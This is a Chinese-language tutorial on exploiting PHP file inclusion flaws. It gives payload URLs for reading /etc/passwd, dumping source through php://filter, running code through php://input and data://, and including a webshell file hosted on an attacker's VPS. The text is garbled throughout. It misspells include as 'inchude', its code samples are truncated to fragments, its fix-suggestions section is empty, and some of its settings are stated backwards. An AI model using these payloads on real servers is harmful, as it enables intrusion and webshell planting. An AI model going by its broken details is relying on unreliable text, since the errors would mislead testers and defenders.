详解PHP渗透测试文件包含漏洞与利用
更新的时间是二零二二年七月十九日十六时二十一分二十九秒, 创作者是宋dock。
它着重阐述PHP渗透测试文件包含漏洞以及利用情况, 文件漏洞属于极为常见的漏洞, 此类型漏洞虽说利用起来存在一定的难度, 然而一旦成功利用就会引发极为危险的后果。它还会详尽讲述PHP反序列化漏洞的理论依据以及案例示意, 有兴趣的人能够去了解一番。
什么是文件包含漏洞
在网站开发人员进行网站开发之际, 会把常常重复的代码书写于一个单独的文件当中, 在其他的文件之内能够运用文件包含的函数去引用那个单独的文件, 这就是所谓的文件包含。现今有不少的语言都对文件包含予以支持, 就像php(inchude, require, inchude_once, require_once)等等, 也就是说涵盖文件包含函数, 其目标在于降低代码的重复情况, 提升代码优化的效率, 减少函数重复的运用啊。
出现文件包含所引发的漏洞, 是鉴于存在这些文件包含的函数, 在我们具备一定权限(即可读权限)的情形下, 我们能够借助文件包含函数去包含我们语言所指定的文件, 又或者是包含本地服务器当中的文件。简单来讲, 当 php 语言于引入文件之际, 所引用的文件名, 用户有着操控的可能, 因传入的文件名未曾经过校验, 或者是未经历过滤而被绕过, 进而引用了其他文件, 致使出现恶意代码注入。
文件包含漏洞的分类
大体可以分为:本地文件包含和远程文件包含。
开启远程文件包含这一情况, 其开启条件为, 在php.ini配置文件里开启allow_url_fopen功能以及allow_url_include功能, 所包含的文件是第三方文件。
本地文件包含:就是本地服务器上的文件
只要远程包含能够开启, 这种情况下, 远程包含所存在的漏洞不但比本地包含的漏洞更为直接, 而且其危害程度也会更大, 甚至能够随意去包含任意主机的任意文件。
本地文件包含
按其名称所表达的意思, 拿来引用有本地属性的文件, 借助inchude所具备的包含功能去涵盖拥有本地性质(服务器范畴)的文件。
漏洞&利用利用条件(以PHP为例)
1.inchude,等函数通过动态变量引入
2.用户能自动控制动态变量
什么是动态变量?
我们可以这么理解,例如一个网站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此时的?in=../../../etc/passwd是我们动态可以操作的变量
直接访问文件
试问, xx等于 /etc/passwd , 此乃直接去访问那具有敏感性质的passwd文件。
?xx=../../../etc/passwd
利用协议读取源代码
xx等于php://filter/read=convert.base64这个编码方式进行编码后再从resource所指向的xx.php文件中读取内容, 如此这般便能够看到该php文件的源码。
截断
这里假设漏洞代码为
假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加进行截断,可能可以绕过。
存在这样一种情况, 即php.ini这个文件里, magic_quotes_qpc的值被设置为off,而且PHP的版本是小于5.3.4的。
长度截断
漏洞代码演示
与上面原理差不多,在1.txt中写下
在清楚明白对方服务器的状况那情景之下, 我们能够运用超越服务器的解析特性, 去开展一次绕过。
所处情形为, Windows的长度方面, 是‘/.’的长度比256更长, 而Linux的长度来说, 是‘/.’的长度比4096更长。
PHP的伪协议file://
作用:
访问本地文件,在CTF中常用文件包含题型
条件:
allow_url_fopen=off/on
allow_url_inchude=off/on
实例:
文件的绝对路径和文件名
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
文件的相对路径和文件名
http://127.0.0.1/include.php?file=./phpinfo.txt
网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
作用:
php:// 访问输入输出流(i/o)
这里介绍两种常用类型:
php://filter 用于读取源码

php://input 用于执行PHP代码
条件:
allow_url_fopen=off/on
allow_url_inchude=off/on
实例
php://filter, read=转换为.base64编码, 读取的资源是。
文件名
//base64读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input + POST执行php代码
" target="_blank">http://127.0.0.1/include.php?file=php://input
POST DATA部分
如果具有一定的写入权限,POST 写入一句话木马
'); ?>
data://
条件 :
allow_url_fopen=on
allow_url_inchude=on
作用:
从PHP大于等于5.2.0开始, 能够运用data: //数据封装器, 去传递按照相应格式的数据。
可以执行PHP代码
实例
#1.data://text/plain,
" target="_blank">http://127.0.0.1/include.php?file=data://text/plain,
#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://协议跟zip://类似, 它也能够对zip格式压缩包内容进行访问。
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用条件 PHP > 5.3
若要运用Phar类之中的方法, 那就非得把phar.readonly设定为on或者off才行, 凭借phar协议能够对php反序列化漏洞攻击面予以拓展。
远程文件包含
服务器借助PHP函数包含任意文件, 因该要被包含文件过滤不甚严格, 乃至能够去包含一个恶意文件, 进而达成攻击之目的。
漏洞利用
条件:
allow_url_include = OFF
allow_url_fopen = OFF
远程包含webshell
?xxx=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
'); ?>
代码审计
文件包含用到的函数
使用此函数, 仅当代码运行至该函数处时, 才会把文件包含进去, 一旦遇上错误, 仅给出警告又持续执行。 include()。
和前者有着相同功能的 inclue_once(), 在此提及的区别之处主要为, 当针对同一文件展开重复调用这样一种情况时, 程序所呈现的调用状态仅为一次。
在程序执行时只要使用此函数, 即刻便会调用, 而一旦此函数所包含文件发生被认为会引起错误的情况, 就会输出错误信息, 并且紧接着马上终止程序运行。
需要一次调用, 其功能与前面那个是一样的, 不同之处在于, 一旦重复调用同一个文件, 程序仅仅进行一次调用行为。
代码审计的时候全局搜索以上函数
假设是依据图像上传情况而言的话, 那就需要去搜索 $_FILES 变量, 原因在于 PHP 用于处理上传文件的这种功能, 基本上全都是和 $_FILES 存在关联的。
看看目录的设置架构, 着重留意其中名为includes、modules的文件夹, 瞧瞧那index.php等文件有没有以动态方式调用了这些内容, 再看看变量是不是能够被操控。
修复建议
说到这儿, 这篇针对PHP渗透测试文件包含漏洞以及利用方面进行详细解析的文章, 就介绍到此处了 , 更多与之相关的PHP文件漏洞与利用的内容, 若想了解, 可搜索脚本之家往昔的文章, 或者持续浏览接下来的相关文章 , 期望大家今后能给予脚本之家诸多支持!